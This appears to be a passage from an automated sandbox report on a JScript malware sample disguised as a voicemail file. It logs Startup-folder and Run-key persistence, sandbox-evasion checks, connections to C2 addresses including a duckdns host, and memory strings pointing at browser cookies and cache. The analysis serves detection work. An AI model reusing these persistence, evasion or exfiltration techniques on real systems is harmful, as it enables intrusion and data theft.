                    Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
                    Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: msxml3.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: mlang.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: winnsi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: fwpuclnt.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: rasadhlp.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: schannel.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: winhttpcom.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: webio.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: msdart.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: textshaping.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: textinputframework.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: coreuicomponents.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32Jump to behavior
                    Source: Window RecorderWindow detected: More than 3 window changes detected
                    Source: C:\Windows\SysWOW64\unarchiver.exeFile opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 11_2_069CF82C push es; iretd 11_2_069CF838
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 11_2_069CE958 push 81069CE9h; retf 11_2_069CE95D
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 11_2_069CDC73 push es; retf 11_2_069CDCA4
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 11_2_069CDC67 push es; retf 11_2_069CDCA4
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 12_2_0615F727 push es; iretd 12_2_0615F728
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 12_2_06BFF399 push edi; retf 12_2_06BFF39A
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 12_2_06BFF88F push es; iretd 12_2_06BFF890
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 12_2_06BFF3E9 push edi; retf 12_2_06BFF3EA
                    Source: C:\Windows\SysWOW64\wscript.exeCode function: 12_2_06BFF955 push cs; retf 0006h12_2_06BFF956

                    Boot Survival

                    barindex
                    Drops script or batch files to the startup folder
                    Source: C:\Windows\SysWOW64\wscript.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.jsJump to dropped file
                    Source: C:\Windows\SysWOW64\wscript.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.jsJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.jsJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New Voicemail May 9 _mp4Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New Voicemail May 9 _mp4Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run New Voicemail May 9 _mp4Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run New Voicemail May 9 _mp4Jump to behavior

                    Hooking and other Techniques for Hiding and Protection

                    barindex
                    Uses known network protocols on non-standard ports
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49795 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49796 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49797 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49801 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49806 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49807 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49808 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49809 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49810 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49811 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49812 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49815 -> 8426
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49816 -> 8426
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                    Malware Analysis System Evasion

                    barindex
                    Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
                    Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
                    Source: C:\Windows\SysWOW64\unarchiver.exeMemory allocated: 1440000 memory reserve | memory write watchJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeMemory allocated: 3140000 memory reserve | memory write watchJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeMemory allocated: 5140000 memory commit | memory reserve | memory write watchJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                    Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                    Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
                    Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
                    Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exe TID: 3244Thread sleep time: -922337203685477s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exe TID: 6360Thread sleep time: -30000s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exe TID: 2304Thread sleep time: -30000s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeCode function: 6_2_011AB1D6 GetSystemInfo,6_2_011AB1D6
                    Source: C:\Windows\SysWOW64\unarchiver.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\userJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppDataJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\desktop.iniJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                    Source: wscript.exe, 00000011.00000002.3661280933.000002101103B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWp/
                    Source: wscript.exe, 0000000B.00000003.2093298186.00000000032FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093476765.0000000003302000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095486810.000000000331F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093647514.000000000331E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.00000000032F6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWV
                    Source: wscript.exe, 00000011.00000002.3661280933.000002101103B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%\system32\NgcRecovery.dll,-100l
                    Source: wscript.exe, 0000000B.00000002.2095486810.0000000003370000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.0000000003370000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093298186.00000000032FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093298186.0000000003370000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093476765.0000000003302000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095486810.000000000331F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093647514.000000000331E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.00000000032F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3661089635.0000000003605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C0B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003605000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWC
                    Source: C:\Windows\SysWOW64\unarchiver.exeMemory allocated: page read and write | page guardJump to behavior

                    HIPS / PFW / Operating System Protection Evasion

                    barindex
                    System process connects to network (likely due to code injection or exploit)
                    Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 45.133.174.75 8426Jump to behavior
                    Source: C:\Windows\System32\wscript.exeNetwork Connect: 149.154.167.220 443Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 208.95.112.1 80Jump to behavior
                    Source: C:\Windows\System32\wscript.exeNetwork Connect: 104.21.25.148 443Jump to behavior
                    Source: C:\Windows\System32\wscript.exeNetwork Connect: 172.67.19.24 443Jump to behavior
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rwinmgmts:\\localhost\root\securitycenter2l32.dlmemstr_3549122d-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ip-api.comuser\appdata\roaming\microsoft\windows\recentmemstr_cf1a58e5-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ylngkwrhs\user\appdata\roaming\microsoft\windows\recentmemstr_1684d5b5-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: masterokrwh.duckdns.orgmemstr_5de80bd1-b
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\windows\templatesmemstr_eeac09f9-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: {su0 memstr_900f3e88-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $vjv memstr_da91cda7-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1.2.840.10045.3.1.6x962p239v3ecdhcryptoidinfoeccparametersmemstr_c0406ecc-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: uvyv!memstr_6ffd4a39-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cookie:sers\user\appdata\local\microsoft\windows\inetcookiesbv(v"memstr_1080e65f-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: contentsv7v#memstr_443aeac8-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: json.geoiplookup.io`vmemstr_479e338b-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\microsoft\windows\inetcache\iememstr_5711b43d-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: io.geoiplookupmemstr_be5b595b-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\microsoft\windows\inetcache\ie\memstr_c0ebe165-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\microsoft\windows\inetcookies\memstr_aa6c5c4d-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: org.duckdns.masterokrwhns.org/p\new voicemail may 9 _mp4.jsmemstr_e277ad85-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1.2.840.10045.3.1.7x962p256v1ecdsacryptoidinfoeccparametersmemstr_96d1a871-9
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: history\user\appdata\local\microsoft\windows\inetcache\iememstr_1d7a5096-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wmw-memstr_1b4833a7-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1.2.840.10045.3.1.7x962p256v1ecdhcryptoidinfoeccparametersmemstr_2624004a-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 6w|w.memstr_2649b768-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: visited:'wkw/memstr_adc43f0a-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: twzw0memstr_2d528b3d-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: contentew)w1memstr_a9d0ad20-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rw8w2memstr_0ee4330e-1
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: =9ncalrpc:[epmapper,security=impersonation dynamic false]memstr_3743c8f7-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cookiesmemstr_9af5d4c6-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eux;fmemstr_a028d1bd-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eux>fmemstr_c3eedfc6-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: euh?fmemstr_f3be9349-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fuh<fmemstr_2aa7ce9a-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fu`kfmemstr_9204683f-f
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: euh>fmemstr_c6d35956-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu(@fmemstr_040c0274-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu0fgmemstr_36399421-6
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu@egmemstr_432fb1d5-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: euh;fmemstr_bbff0f44-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu8<fmemstr_c4c8f32c-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fupiimemstr_a4917cb7-a
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fuhdgmemstr_fba95c9e-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fu iimemstr_d973f5b7-c
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu$fu iimemstr_d6beb595-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu$0fumemstr_fab5e55e-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu$dfumemstr_d1698f07-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eupfimemstr_35d4c720-d
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: `fupmemstr_cd23c6ce-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu$`fupmemstr_ed9df928-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eu$xfumemstr_c6989d34-4
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eupjimemstr_3c8fd28a-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fupgimemstr_ad850b50-8
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qjgzx|tmemstr_58e944cb-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 9uxutmemstr_73eee9ff-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: spxrtmemstr_4871d8a5-3
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: kx+tmemstr_8efbd488-2
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: spcrelaxedpemarkercheckmemstr_c068f7e1-7
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft time stamping:ymemstr_7d21ca27-0
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dynamic code generator5ymemstr_c8695fb8-5
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ,ynut$memstr_037153fb-5
